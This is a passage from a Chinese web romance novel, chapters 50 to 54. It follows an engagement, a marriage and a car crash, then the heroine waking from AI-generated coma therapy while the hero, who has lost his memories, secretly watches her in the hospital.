昨天干脆加上了他的微信。家里已经不安全了,顾峙说以防万一,如果要回家收拾东西,就提前联系他。 李棠梨不敢冒险,乖乖按照他说的做。 消息发过去,本来以为顾峙忙于办公,应该要等一会儿,没想到,不到五秒,顾峙就回复了。 【一小时后在医院门口等我。】 干脆利索,是顾峙一向的风格。时间地点都标注得清清楚楚,不让她有多余的揣测和担心。 在纪嘉誉那里,等上五天也不一定能等来他的回复。 不过,她疑惑了一下。 顾峙昨晚不是说派人来吗?但看他这句话的意思,好像是要亲自来接她? 50-58 第51章 你根本就没喜欢过我吧。…… 过了顾淑凤这关,婚事就摆到了明面上。两家人计划定日子正式办订婚宴。 偏偏李棠梨的前男友是纪嘉誉,要聚餐,就绕不开这个亲外甥。 面对这个大难题,他们还是尽可能的尝试平稳过渡,不想让结亲变成结怨。 但事与愿违,自从上回舅甥大打出手后,纪嘉誉就总不回家。 顾淑凤在其中斡旋,电话虽然能打通,可一旦提起与之相关的事,纪嘉誉就直接挂断,表明他的态度——谁也别想让我同意。 人影都找不着,遑论与他坐下开诚布公地解开仇怨,进度不可避免地僵住了。 于是,顾淑凤直接拍板做了决定,先不管他了。纪嘉誉本来就不占理,还犟着臭脾气,当初和人家交往的时候出轨,没见有多珍惜,现在又梗着脖子不肯和解,纯是贱骨头。 谁知道要过多久他才肯消气,难道还要顾峙和李棠梨看他的脸色,等到猴年马月才结婚吗? 这当然是不可能的。 顾峙能等到现在还没和李棠梨去民政局扯证,已经忍耐得十分辛苦了。 订婚宴定在周六晚上。提前给纪嘉誉发了通知,当天落座时,他意料中的没有出现。 考虑到张梅婷的身体,一切从简,地点直接选在了老宅。 从进门那刻起,庄园、喷泉、别墅眼花缭乱地闪过,张梅婷终于对顾家的财富有了一个更直观具体的概念。以前,她只是模模糊糊地知道顾峙大概算有钱人,万万没想到竟然富有到这种程度。 她后知后觉。因为这过于悬殊的家境,张梅婷开始担心起女儿婚后受制于人的处境,肢体不免显得有些僵硬。 但很快,她看顾峙饭桌上对李棠梨的关切不减,与此同时,顾家的其他人都表露出了和善和接纳,担忧之情渐渐消融进了融洽的氛围里。 更重要的是,她看到了女儿脸上洋溢着淡淡的喜悦,这就足够了。 李棠梨的确很开心。为了庆祝,她抿了 几口红酒。身体微微发热,手掌在腿上打着拍子,听着顾淑凤和妈妈聊天,轻盈的情绪充溢胸膛。 忽地,一片阴影俯下来,遮住了她的眼睛,温和的木质香也紧随而来。 李棠梨面皮薄,不想在长辈面前显得太亲近。躲闪地偏了一下头,后脑枕在他搭在椅背的手臂上。 顾峙垂眸,望着她怠懒的神色,轻声说:“脸红了,很热?” 他嗓音低沉,众目睽睽下和她说悄悄话。吐出的灼热气息一股脑地往她的脸颊、嘴唇上吹。 芳醇的酒香萦绕在鼻端,李棠梨发现泛上了几丝醉意。 她直起背,对顾峙说:“有点,我去透口气。” 顾峙嘱咐:“嗯,别待太久,吹感冒了。” 她走到阳台,闭上眼,阵阵晚风拂过鬓角,意识清醒了一多半,莫名思忖起桌旁那把空荡荡的椅子。 掏本心来说,纪嘉誉没来,她反而松了一口气。实际上,张梅婷可不知道她和纪嘉誉之间的龃龉,她也不打算说。多一事不如少一事,这样也好。 忽然,她好像听见那个本该缺席的人在喊她的名字。 错觉吧? “李棠梨。”他声音大了点。 李棠梨惊愕地睁开眼睛,将撑在露台上的手臂缩回来,看见了阳台外那个不期而至的青年。 这是那场混乱之后他们首次再见。她局促地笑了笑:“嘉誉,你来啦?” “别装了,”纪嘉誉戴了一顶棒球帽,帽檐下翘起了几缕碎发。一只手插在兜里,身材颀长。 指节顶开帽檐,露出一双乌黑的眼眸:“你知道你说谎的时候表情很僵吗?” 李棠梨怔了怔。 看她沉默,他脸上划过懊恼。这次谈话和之前的每一次一样,都没有开一个好头。 将帽檐闷闷地压回去,纪嘉誉的语气转而变得缓和:“我有话想和你说,有时间出来一下吗?” “啊,”李棠梨下意识回头望了一眼,主要是看她的未婚夫。 她不太情愿地说:“现在吗?” “嗯,就在这儿。几句话,说完就走。” 纪嘉誉望着她,目光执拗。 好吧。 迫于纪嘉誉冲动闹事的前科,李棠梨点了点头。 终归是在老宅里,时间短应该没事。趁顾峙不注意,她偷溜出来,两个人坐到了庭院树下的秋千上。李棠梨坐在最左,自觉地与他拉开了距离。 那是一段因他舅舅而多出的距离,代表着李棠梨为他斩断了和其他男人的可能性。 裸粉色的裙子仿佛一朵花,半开在椅子上。他盯着这朵有主的花,一团郁气堵在喉咙里。 看到她人了,纪嘉誉想问很多话,譬如你是什么时候和顾峙好上的;是因为他更有钱有势,才选择了他吗?而且,你刚到年龄,就这么迫不及待地和他结婚吗? 但他没问。 在经历了惨痛的教训后,纪嘉誉终于学会了不逞一时口舌之快。 李棠梨疑惑地侧头,望向一言不发的纪嘉誉:“你要说什么?” 他扭开脸:“那次去海边度假,我半夜喝断片了,舒子毅把我拖回去的。第二天一醒,舒冉就在旁边,说是走错房了。可我本能觉得没有发生什么。我只是想把这件事告诉你,信不信由你。” 他的话声很平静,但交叉相握的两手却在暗自较劲、紧张。 几秒后,他听见李棠梨无波无澜的声音:“你来就是特意为了跟我说这个吗?” 纪嘉誉神色一滞,她居然什么反应都没有。 拉住肩上的披肩,李棠梨疏离而礼貌地说:“谢谢你的解释。但不管真相是什么,都已经不重要了。” 对于李棠梨来说,他也不再重要了,是吗? 帽檐的阴影罩住了他的神色,李棠梨只能看到他抿成一条直线的嘴唇。 他强作镇定:“那最好。我马上要出国了,走之前和你说清楚。” 李棠梨失语了片刻,才找回了声音:“我……是因为我吗?” 纪嘉誉哼了一声:“少自作多情,我早就决定好了。” 也是。她问:“什么时候出发?” “过几天,到时候会通知你…你们。” “好。” 今晚万里无云,半轮明月高挂夜空,星子在眼中闪烁,纪嘉誉突然开口:“你根本就没喜欢过我吧,李棠梨。” 捕捉到她霎时间的表情,他扯起嘴角,胸口生出一阵密密麻麻的痛楚来。这么明显的事实,他居然才看清。 几天之前,他其实回过老宅一趟,来拿东西。但好巧不巧,那两天顾峙和李棠梨也住在老宅。房门没有关好,敞着一条缝隙。 从这个缝隙里,他窥见了两具交叠的身体。他们都坐在一张摇椅上,舅舅揽着她,李棠梨蜷缩在他的怀里,似乎正在午睡。 纪嘉誉呼吸骤停,说不清是愤怒还是心酸,只觉得心跳如鼓。 舅舅的手分明隐没在她的睡裙下。布料下隆起一只手的形状,从她的大腿到脚踝,他一路缓慢而流连地摸过去,这是不加掩饰的贪婪。 最后,她一对儿光裸的、微凉的脚也落在了他的手里,被捏在掌心中把玩。 摇椅前后轻晃,含有某种目的不纯的蛊惑。李棠梨任他抚摸,她快要睡着了,脸颊依偎在男人宽阔的肩膀上。直到他去拿桌上的手机,不慎把她朦胧的睡意赶跑了。 连眼睛都没有睁开,她就自然地抬脸,如同重复了千万次那样,不设防地把细细的颈项和柔软的嘴唇一并送上去。舅舅也毫不客气地低下头,把她攫取得干干净净。 直到顾峙扯开了她的领口,纪嘉誉看不下去了,落荒而逃。 那天他独自一人呆了许久。在复杂的情绪之外,他恍然察觉自己的愚顽。原来这才叫喜欢。他们寥寥几次亲密中,她即生疏又木讷,他也没什么耐心;但面对顾峙时,李棠梨表现得柔顺、湿润、不躲不避,就连细碎的呻吟也全然是快乐的。 “为什么突然提起这个?” 当初和纪嘉誉在一起,是因为任务,谈不上感情。李棠梨不自在地晃了晃腿,踢开了脚下的小石子:“现在也没有意义了。” “不喜欢就不喜欢,那我们就扯平了。” “……” 还没等她琢磨过来这是在打什么谜语,纪嘉誉身子后仰,靠在了秋千上叹了口气。 李棠梨目光挪过去,指了指他的后背,提醒道:“有片叶子挂在你毛衣上了。” “什么?”纪嘉誉背过手摸了摸,大概是位置不太好够,没扫下来。 李棠梨看得心累:“你别动。” 她转过身,伸出胳膊,把那片叶子摘下来。手还没离开纪嘉誉的背,从身后传来沉冷的男声:“你们在干什么?” 跟被施了定身咒,李棠梨先是傻傻地回头看了一眼,只见顾峙面无表情地站在他们几步开外的地方,直勾勾地看着她的手。 心停了半拍,李棠梨立刻站起身,将手里的叶子和罪证似的扔到地上。 纪嘉誉随之缓缓站起身,倾身对李棠梨轻声讥讽:“你看看他,像不像一个守财奴?” 这话不仅没引来赞同,她反而瞪了他一眼。紧接着,她快步走过去:“顾峙,我只是和他说了几句话。” 有什么话,非得单独说? 刚站定,顾峙就搂住了李棠梨的肩,搂的很紧。像是怕她订婚中途反悔跟着野男人跑了。 或许是取得这个身份的过程夹带着几分来路不正,这令他总是陷入难以自制的患得患失中。 只是一个不注意,李棠梨就从阳台消失了。顾峙拉响警铃,但他先安抚自己,或许只是去了卫生间。但两分钟之后,他忍无可忍地站起来。 最后,他在门外发现了她和纪嘉誉,他们。 月夜,坐在秋千上的少男少女,未知的谈话内容。 纪嘉誉跑过来干什么?他要 用那张嘴勾引李棠梨和他走吗? 言语无法形容他刚刚看到这两个人挨在一起时的反应。他如坠冰窟,多年的克制在此刻极力阻止了一场激烈冲突的发生。 纪嘉誉站在庭院里。他勾起嘴角,对上舅舅寒光闪闪的眼睛。 他觉得这个场景十分有趣。风水轮流转,终于也轮到了顾峙尝尝猜疑的滋味。 他掸了掸衣服上的灰尘:“我说完了,再见。” “慢着。”顾峙叫住了他:“既然来了,进来打声招呼吧。” 纪嘉誉顿住脚,扭头望向顾峙,又看了看被他抱着的李棠梨,心想,他知不知道自己脸色很难看? 还进去?他敢朝李棠梨走近一步,他都嫉妒得要撕了他。 第52章 突发意外 纪嘉誉走了,没有参加一门之隔的他舅舅和前女友的订婚宴。 大概是想到进去之后,再看到李棠梨的脸,就要毕恭毕敬地喊舅妈了。 他当然不愿意叫,但顾峙由不得他犯矫情。 不合时宜的外甥暂时消失在了视野中,但顾峙因此被激起的疑心却愈演愈烈。 尤其是这一天,他在公司地下停车场无意听到有两位员工在八卦某个作风不端的领导,不时冒出“出轨”、“原配”、“捉奸”等等字眼。 他险些对号入座,但很快就发现并不是。 其中一人漫不经心地做了总结:“就算小三成功上位,又能怎么样?出轨只有0次和无数次,这种人下次碰到诱惑,照样会重蹈覆辙。” 说者无心,听者有意。顾峙在车里坐了很久,这句话如同虫子细细地啃咬着他的心。 直到司机询问,他沉闷地启唇道:“回家吧。” 到了家,心情却因空荡的房间而变得更糟糕了。李棠梨还没有回来。 他看过手机,定位显示人还在补习班。李棠梨也妥帖地给他发了消息报备,说是老师拖了十分钟的堂,课下她多问了两个知识点,要回去晚一些。 老师认真负责、李棠梨勤奋好学,没有任何可指摘的地方。 是这样吗? 那几位老师的脸一一划过去,暂时打消了嫌疑。随即,他又阴暗地想,补习机构里有太多青春的面孔了。或许,当初就不该听李棠梨的,家教无疑是更稳妥的选择。 每逢周末,都是他亲自送李棠梨到机构。站在门外,看着一茬接一茬的新鲜少年进进出出,青春洋溢的十七八岁,每一个都是他的未婚妻同样年轻。 他安慰自己,李棠梨不会喜欢这种乳臭未干的青春期男孩,他大可不必如此心肠狭隘,看谁都像是要勾引她。 外人大多以貌取人,在他们看来,顾峙是游刃有余的上位者,普普通通的李棠梨才该用尽手段去笼络住他的心。但实际情况截然相反。 得知内情的朋友们为此欲言又止。关望津委婉地说,你这条件竞争力挺强的,没必要这么焦虑吧? 但只要见不到她,顾峙的想象就陡然可怕起来。在阴暗的角落,是否有另一个不怀好意的男人,像从前的他一样盯上了李棠梨? 李棠梨开了门,讶异地发现黑洞洞的,没开灯。 她摁下开关,光线照亮屋内,才看清沙发上早坐着一个男人,歪头看着迟回的她。 李棠梨眼皮一跳,抢占先机地问:“今天工作还好吗?” “嗯。”顾峙注视着她,眼睛紧随在她背后。 可惜他不是一条嗅觉灵敏的狗,不然,他一定会凑上前去,仔细嗅闻她的颈后、脚踝、泛起褶皱的衣服,排查有没有挑衅者的气味登堂入室。 深夜,灯光明亮,地上混乱散落着裙子、衬衣和西裤。 李棠梨浑身汗津津的,她有些恍惚,不对,刚刚不是还在写作业呢,顾峙进来教她,然后……嗯,怎么写着写着,就滚到一块了? 可怜的女孩呜咽着捂住小腹,想要缓解令人头皮发麻的麻胀感,她的背颤抖着往上弓起,很快又脱力地倒了下去。 顾峙今晚很凶,目光一刻也没有离开过她,男人发热的手拨开她汗湿的额发,手却被她握住了,挪到了她的唇边。 在他一错不错的凝视中,李棠梨半垂着眼睛,面色酡红地侧过头,紧接着,手腕处传来了湿热的触感。 顾峙动作一滞。 她在亲吻那条伤疤。 顾峙曾一度将父母的死和姐姐的流产都怪罪在自己头上,在无法排解的绝望达到顶峰后,他决定用死亡来终结绝望与生命。 但在失血带来的眩晕中,他忽然想起了本就悲痛欲绝的家人,于是他艰难地止血,拨打了急救电话。 第二天一早,除了手腕上缠了一圈雪白的纱布,依旧是沉稳可靠的样子。只有等伤口痊愈后,添了一个戴表的习惯。关于这件事,连顾淑凤和顾语琴都不知道。 而现在,李棠梨看到了他十八岁时的心结,发现了他难言的脆弱,却没有问,只是温柔地亲吻着已经结痂的痛苦。 顾峙摸着她的脸颊,心口又酸又软,他嗓音沙哑:“你都知道了?我……” 李棠梨轻声阻止了他:“不想说也没关系。” 顾峙忽地抱紧她。在这一刻,他清清楚楚地明白了一件事——他彻底离不开她了。 就在这张床上,扯证日期被临时改到了明天。什么商量敲定好的日期顾峙都不在乎了,只想快点、再快一点。 于是,第二天一早,他们先去医院和张梅婷说了一声。这次,张梅婷显得平静了许多,像早预料到了这一天。 她握住了李棠梨的手,那是一双粗糙的、温热的手。望着已经长大成人的女儿,她感慨地说:“过的真快啊。” 离开病房前,李棠梨脚步一顿。她回过头,看到妈妈坐在病床上,对着她露出一个笑:“看什么呢?走吧,别惦记我。” 李棠梨走回去,俯身抱住了她。 母女都不是擅长表达感情的人,但冥冥中一股力量撬开了她一向木讷的嘴,促使她小声地说:“妈妈,我爱你。” “……知道了,多大人了还这么肉麻。”张梅婷拍了拍她的背。 她跑回去,重新站在了顾峙身边。 看着他们紧紧相握的手,张梅婷笑着说:“祝你们幸福。” 他们今天的运气不错,民政局人很少,不到半小时,小红本就新鲜出炉了。 顾峙捏着两本结婚证,心中的大石陡然落下,就连被大姐通知下午去机场送纪嘉誉都没打扰他的好心情。 李棠梨倒是多问了一句:“这么快?” 顾峙瞥了她一眼:“够慢了。” 她犹疑地说:“我还要去吗?” “当然,”顾峙云淡风轻地说:“你是他舅妈,去送送他也是应该的。” 下面的话他没有说出来。毕竟他这一走,回来的日期可就没定数了。 * 再次看见顾峙和李棠梨,纪嘉誉的心霎时间凉了半截。 怎么会这么快? 他明确地知道,这两个人的关系更近了一步。什么都可以伪装,但唯独传递过来的幸福和满足感是真实的。 果然,舅舅朝他礼貌地说:“抱歉,上午刚领完证,中午忙着庆祝,来迟了。” 又来了。又是一副笑里藏刀的神情。表面是抱歉,内里却是炫耀和示威。 纪嘉誉脑海空白了一瞬,他以为他们结婚还是分外遥远的事,但没想到今天上午就已经成功扯证了。 不想在离别的时候显得太没风度,他强忍着不适,做出不在意的样子,硬邦邦地说:“嗯。” 察觉气氛凝滞,李棠梨没话找话:“几点的航班?” “四点半。”纪嘉誉抹开脸,他很难去直视她。 他心绪败坏地想,她就这么进了他的家门,以舅妈的身份。可她哪儿有一点长辈的样子? 被他亲过、抱过,现在又想要若无其事地假装什么都没有发生过,看着他这张脸,难道她不觉得别扭吗? 纪嘉誉转而对她身边的舅舅说:“我有话想单独和你说。” 他们走远了几步,站在玻璃窗前,纪嘉誉开门见山地问:“让我出国的主意,是你和我妈提的吧?” 顾峙不置可否地说:“聪明了点。” 马上就要启程,纪嘉誉也没有天真地再问他什么时候能回来。 顾峙说:“纪嘉誉,你该长大了。” 说到底,出国历练只是一个骗过顾淑凤的幌子,真实的原因低劣而不可告人, 他们都心知肚明。 他冷笑了一声,突兀地说:“舅舅,你觉得自己会是最后一个吗?” 顾峙神色变冷:“你想说什么?” 视线落在正和小姨闲聊的李棠梨身上,纪嘉誉意有所指:“我只是在陈述事实。” 李棠梨是个安分守己的女孩,但她的眼睛不是,她有一双极不安分的眼睛。 棕褐色的眼珠荡起水光时,她看谁都像是哀求,哪个男人见了都会想要救救她,可她自己却对此毫无所察。 之前,她用这种眼神看向纪嘉誉,令他在成年派对上鬼使神差地把这个坐冷板凳的女人招到了身边,发话的那一刹那,他甚至没有看清她的脸。 后来,她又看向他舅舅。 纪嘉誉想,就算没有顾峙也会有别人。哪怕是现在,谁又敢保证她不会再看向别的男人? 顾峙盯了他半晌,手背青筋暴起。纪嘉誉还没反应过来,就被死死按住了肩膀,不得脱身,紧接着,肚子就遭受了一记重拳。 他猛地弯下腰,嗓子里发出嘶嘶的痛吟。胃被这一拳打得翻江倒海,反胃感呼啸而来,五脏六腑都跟被移了位似的。 顾峙一把挟住他的胳膊肘,把人又硬生生拉直拽起来,伪装成一派祥和的光景。 “别跟废物一样倒在地上。”他语气中夹带着淡淡的戾气:“这才是事实。明白了吗?” 他们俩走回来,李棠梨注意到纪嘉誉步伐蹒跚、脸色苍白,疑惑地打量了两眼气氛怪异的舅甥俩。 到了分别的时候,纪嘉誉重重地看了李棠梨一眼,对她说:“希望你不要后悔。” 李棠梨无意再和他争辩,只客气地说了一句:“再见,一路顺风。” 就在出机场时,一道电流穿透了她的脑海,沉睡了不知道多久的系统发出了久违的机械音:【疗程已……尚未醒来……意识……】 断断续续的字根本连不成完整的句子,她蓦地僵住了,连忙呼叫:【系统?系统?】 但不过几秒的功夫,短暂诈尸的系统又消失了。 为什么偏偏在一切都尘埃落定的时候,系统又突然出现? 顾峙看她有些心不在焉,想到这时坐在机舱里再掀不起风浪的纪嘉誉,他不动声色地试探:“怎么了?有心事?” 李棠梨下意识摇头,还没等她开口,变故就发生在这一瞬间,巨大的冲击力猛然从车辆右侧袭来。 破裂的玻璃渣仿佛流弹般划破她的脸颊,在车身剧烈的颠簸中,脑浆被彻底甩成了一团浆糊。 她只记得顾峙迅疾地将她护在了身下,等到不再天旋地转,她已经无法动弹,和顾峙一起被困在了变形的车内。 鼻腔里充斥着血腥气,浑身发冷,意识逐渐走失。可奇怪的是,她却不觉得有多疼。 外面响起救护车的警笛声,有一个微弱的声音贴在耳边,一直喊着她的名字:“李棠梨。” 她动了动嘴,想要回应他,已经发不出声音。 “不要睡,再坚持一下,求求你……” “咳、别丢下我,求你……” 顾峙轻轻覆在她的唇上,不知是泪还是血流进唇缝内,咸的发苦。 可一切都是无济于事。和之前脱离位面一样,她的灵魂被从躯壳里缓缓抽离了出来。 在意识消散的前一秒,她听见他轻声说:“我们死也不会分开。” 第53章 回归现实世界&一见钟情…… 所有声音都泯灭了。李棠梨无尽地下沉,她闭着眼睛,像是沉到了漆黑的水底。直到她警觉到无法呼吸,求生的本能使她摆动双腿,拼命地往水面游去。 双脚踏着水流,光线越来越明亮,在窒息感追上她之前,哗啦啦,她猛地从水面下钻出来。 犹如灌铅的沉重眼皮也终于抬起,一道阳光照亮了她模糊的视野。 四周弥漫着消毒水的气味,视野正对着雪白天花板,李棠梨的意识逐渐归位——她躺在医院里。 医院? 生锈的大脑及时闪回了车祸时惨烈的片段,她的心脏如同被一只大手紧握住,下意识用嘶哑微弱的声音喊道:“顾……” 刚吐出一个音节,她顿了一下。顾什么? 记忆被人为刻意擦去了关键的细节,她记得系统、任务,但遗忘了一些具体的人和事。 尤其是某个人。她怎么能忘?李棠梨的额头渗出冷汗,那是很重要的人,必须要想起来。 她还记得他的嘴唇又苦又涩,声音可怜极了,一直在恳求她说别丢下他…… 李棠梨转而开始呼叫系统,但这一次,就连自动回复的机械音都消失了。 正当她和不知所踪的记忆较劲儿时,忽然传来一声呼喊,夺走了她的注意力。 “棠梨?棠梨!你醒了!” 那人扑到床边,又惊又喜地喊来护士为她检查,她的嗓音分外熟悉,李棠梨吃力地转过头,看清了这人的脸,瞳孔骤然一缩。 她喃喃道:“……伯母?” 望着病床上虚弱的侄女,伯母擦去了她脑门上的汗珠,眼眶红通通的:“诶,你从楼梯掉下来,昏迷了整整一个半月,可算醒了。没事了啊,等医生过来给你做个检查。” 她居然回到了现实世界。 李棠梨大脑一片空白地被送入CT室,她一时不知道如何反应,只剩下了一个念头—— 这究竟是怎么一回事? * “您的意思是,所谓的系统、任务,都是AI为了刺激我的神经,创建出的虚拟世界? 李棠梨失魂落魄地望着病床上方那个头盔造型的复杂装置。 它表面呈现出银色的金属光泽,就是这个装置带她沉浸式地“穿越”。后脑处,几根手指粗细的电线连接到一旁的高大仪器上,时刻监测着她脑电波、心率等生理指标。 干练的刘医生点头说:“可以这么理解。这是最前沿的实验性技术,根据个体差异,AI生成的任务与场景都是不同的。 前两个疗程中你的情况进一步恶化,第三个疗程我们优化了系统,模拟出高度贴合现实的环境,并减少了AI的过多干预。监测到你的神经反应逐步恢复到稳定的状态,才强制唤醒了你。” 怪不得张梅婷和妈妈几乎是一个模子里刻出来的,原来一切都有迹可循。 她不死心地问:“一切都只是一场梦,包括任务里的……某个人?” “是的。”刘医生推了推眼镜。她发现了李棠梨的难以接受,补充了几句。 “大部分成功醒来的患者都会产生戒断反应,这是很正常的。由于技术局限,我们当前无法监测到AI在大脑中生成的具体场景,但请你记住,你遇到的人物都是虚假的,就像是游戏里的npc一样。” 他是npc?怎么可能?李棠梨紧攥着病床一侧的护栏,指节死白。 她抗拒地摇了摇头,情绪隐约失控:“他太真实了,我不相信那都是假的!” 刘医生冷静地反问:“那么,李小姐,他的名字叫什么?你现在还能记起来多少关于他的具体细节吗?” “他叫……!” 不。 李棠梨惊恐万状地发现,她想不起来了。再努力,也想不起来他叫什么了。 她呆在原地,就连男人的五官也被模糊成了一团斑驳的色块,像是海面上一簇泡沫般逸散在了水里,她慌乱地用手去捞,回忆从指缝里传过,一滴不剩。 女孩低下了头,无助地捂住了发红的眼睛。一直表现得专业而理智的刘医生安抚地拍了拍她抽动的肩膀。 “不要太难过了。你很快就会忘干净的,戒断反应将会在未来一个月内逐渐减轻。” 她说话时,身后的年轻治疗师怜悯地看 着情绪崩溃的李棠梨,欲言又止。 等两人走出病房,她于心不忍地说:“老师,她真的很伤心。” “小舒,”刘医生步伐未停,“你要知道,和她意识接入的另一位患者仍然处在昏迷状态,这属于患者隐私,我们无权透露。即使再伤心,她很快会忘得一干二净。虚拟世界只是虚拟,难道我们还没有吃透教训吗?” 小舒沉默了。 没错,刘医生隐瞒了实情。和其他患者不同,李棠梨是特殊的,她和另外一个人的意识被接通到了同一个虚拟世界里。 在成功率仅为万分之一的情况下,他们奇迹般完成匹配,建立了稳定的连接。 两年前,这项名为协同神经激活的技术首次成功苏醒了一对昏迷的患者,并公开了双方的身份。 但后续追踪显示,尽管他们在虚拟环境里如胶似漆,回归现实后却因种种原因而导致分道扬镳。 其中一人无法接受现实和模拟中巨大的落差,对团队提起了法律诉讼。 为避免类似情况的再度发生,他们设立了严格的记忆限制条例。 而李棠梨和顾峙作为这项新技术的第二对使用者,关于虚拟世界的记忆都将在几天内被迅速淡忘,除非在特殊情况下受到刺激才会恢复。 正如刘医生所推测的那样,原本郁郁寡欢的李棠梨状态一天比一天更好。 过了一周再来复查,提起任务两个字,她甚至还反应了一会儿,好像那是五年前发生的事。 得知李棠梨苏醒的消息,几个朋友陆陆续续来医院探望。 这天,一个年轻男人踏入了病房,李棠梨微笑着和他打招呼:“宇哥。” 曹长宇把果篮放在了桌上,拉开椅子坐下:“我前两天加班,一直没时间来。你感觉怎么样?” 曹长宇比她大两岁,曾是对门的邻居。上初中时,曹家经济条件改善,搬离了那个老小区。两家人时不时还有联系,后来他们又在同一所高中念的书。 母亲身患重症时,曹家还应急借了一万块钱。李棠梨感激他们的雪中送炭,她友善地说:“你实习要紧。我现在情况已经稳定了,医生说下礼拜就能出院。” 正说着话,她突然感觉后背凉飕飕的,仿佛有条冰冷的乌梢蛇顺着背脊攀沿而上。 她不自在地摸了摸汗毛竖起的脖颈,似曾相识的感觉令她往门外望去。 空荡荡的,什么人也没有。 只是错觉吧,她想。 李棠梨不知道,时间溯洄到几天前,只和她相差了一天,同一栋楼第16层的单人病房中,有位患者迟迟睁开了眼睛。 当刘医生匆匆迈进病房时,男人静静地半坐在床上。他侧过脸,凝望着窗外掠过的飞鸟出神。 刘医生清了清嗓子:“顾先生。” 男人朝她回过头,刘医生的话停在了嘴边。 他在平静地落泪。 顾峙自己也颇为困惑。他抬起手,触摸到脸上温热的液体,指腹沾染了水光。 胸口闷痛,宛如一截被蛀空的朽木。他的一部分血肉被从身体里剥离了出去,扔在了天际之外。 他面无表情,泪水却不住地流:“我好像忘记了什么很重要的人。” * 关于这莫名其妙的泪水,刘医生的解释是情感刺激与生理反射。 解释康复技术时,她暗自观察,提起任务、系统等,顾峙神色很淡地说:“我没有任何印象。” 刘医生叹了一口气,这勾起了她不好的回忆。这位患者在刚送来时,就展露出了极度难缠的特质。 他的心理防御机制过强,对AI伪装的“系统”、“任务”等说辞毫无信任。眼看昏迷时间马上就要超过两个月,无计可施的团队使用了尚不成熟的协同技术。 由于只能在同样昏迷的患者中进行随机匹配,且条件极为严苛,他始终未产生任何响应。 就在所有人都不抱任何期待时,经过两个疗程但治疗状况不佳的李小姐加入了进来,一瞬间,他就对她产生了连接,使得治疗顺利推进了下去。 不知道为什么,顾先生要比那位李小姐晚了整整一天,几乎是在醒来的刹那,他关于虚拟世界的记忆就全数消失了。 刘医生想,也算是一桩好事。 由于卧床了一段时间,顾峙暂时无法正常行走。第三天,顾淑凤推着坐在轮椅上的他到楼下晒太阳,聊起他车祸后发生的事。 “……语琴呢,前几天高烧了一场。知道你醒了,烧一下就退了。嘉誉也老吵着说来见舅舅。” 纪嘉誉。 顾峙捉摸着这个名字,心头冒出一阵不快。 这是为什么?他皱起眉,觉得古怪。外甥才十岁,有什么事儿值得跟个小孩计较的? 顾淑凤温和地说:“公司这边你不用着急,我先照看着,别急于一时。把身体养好了,随时能回来。” “嗯。”顾峙低声说:“这些天辛苦你了,姐。” “别说见外的话,平平安安就是福。” 顾淑凤拨了一下弟弟微长的发尾,感慨其命运多舛。十八岁那年出了一场车祸,二十八岁这年又赶上了刹车失灵。万幸八字硬,两次都死里逃生。 姐弟俩沐浴在温暖的日光下,默契地没有说话,享受着难得的恬静时光。 顾峙闭目养了一会儿神,慵懒地掀起被晒得滚烫的眼皮。 他睁开眼之前,绝不会想到,就是在这样一个平常的午后,她会以一种强势的、横暴的态度径直闯入了他的世界,不容他有任何的拒绝,轻易摧毁了他那些冷静与镇定。 当她出现在视野中心的一刹那,整个世界都慢了下来。 那是一个也坐在轮椅上的女孩他的角度只能瞥见她半张脸。 她在看书。顾峙想,阳光下看书会损坏视力,没人教过她吗? 女孩脖颈低垂着,如同盛满露水而弯下的花梗。她一只手压住书页,另一只手将那些扰人的碎发往后撩去,轻轻咬着唇。简简单单的动作,他看得几近痴迷,皮肤焦渴地发烫。 她像是吸铁石一样吸着他的眼睛。前方哪怕是悬崖峭壁,他也要跳下去,谁也拉不住。 仿佛有一只蝴蝶落在他的鼻梁上,他小心翼翼地屏息,生怕惊飞了她。 她是谁?她叫什么名字?她多大了?她生了什么病?她的家里人在哪儿,为什么只留她一个人在这儿?她……是否有男朋友? 第54章 他为什么下意识认定她已…… 顾淑凤叫了弟弟几声,却见他直勾勾盯瞧着一个方向,她望过去,触及那个平平无奇的女孩,自己也莫名愣了一下。 之前见过吗?有点眼熟。 “你认识?” “嗯?”顾峙心不在焉地应了一声。 隔天早晨,女孩的资料就被摆在了他的床头。 她叫李棠梨。指腹情不自禁地摩挲着这三个字,默念了一声,这名字带着一股电流,游走遍他的全身。 三个字熟悉得像是说过千万遍,他又念了一遍。 从这天起,顾峙添了一个难言之隐,一个极不道德的癖好——在暗处偷窥一个和他素不相识的女孩。 短短三天,他摸出了李棠梨每天的行动轨迹。 她七点半左右起床,九点多时由伯母陪同到楼下活动一个小时。周末,则有一些亲戚朋友来医院探望。 在上午放风的一个小时内,她看书,和伯母闲聊,与路过的相识的病友打招呼。更多时候,只是仰脸晒太阳。 太阳暖洋洋地照着她,可奇怪的是,李棠梨偶然生出异样,她敏感地感受到,落在她身上的不仅仅是阳光,还有两道更为炙热的视线。 可她四顾一周,并没有发现可疑的人。 她不知道,那个惹得她不自在的偷窥者藏在高层的特需病房。从她现身到回去,他可以一动不动地在窗边坐满这短暂的一个小时。 等身体状况稳定一点,顾峙就干脆去下面候着,便于就近看她。 这成 了他每日定时定点的任务,别的都要让步,谁也不能打断他们共处的宝贵时间。哪怕是家人来了,他也会不动声色地引到楼下说。 顾峙相貌端正,即使坐在轮椅上,也显得鹤立鸡群。于是,他停在边角的一颗树下,尽量不引起注意。 现在还不是正式见面的时候。两个月的卧床使他掉了不少肌肉,人也病怏怏的,无法下地行走,模样很不得体。他不想给她留下任何坏印象。 他隐藏的不错,唯独有一次,李棠梨的书落在了长椅上,折返取回,两人迎面撞上。 在她对视的那一秒,顾峙的心陡然一颤,撇开了头。李棠梨怔了怔,目光在他身上停留了一会儿,礼貌地挪开了。 擦肩而过时,女孩的发尾捎来浅淡的香气。顾峙的手指动了动,他掐着点数,她一共看了他四秒。 电梯平稳上升,光滑的镜子里的倒映出他一派平静的脸。 顾峙望着这个貌似正常的人,心想,他大概是疯了。如果是患上了精神疾病,至少可以寻医问诊。 可面对李棠梨呢? 她和随处可见的小草似的,并不起眼,可一遇上她,他就只能眼睁睁看着理智土崩瓦解。 心动来得如此迅猛,他快淹死在这澎湃的情愫里,却甘之如饴。哪怕李棠梨至今不清楚这个要因她淹死的人是谁,她甚至只朝他远远地望过一眼。 顾峙极力忍耐着日益膨胀的感情,他积极配合医生复建、着手处理公司部分事务,好让脑子歇一歇。 可周末太难熬了。她周六整整一天没有出来,周日上午,楼下的顾峙依然没有等到她。 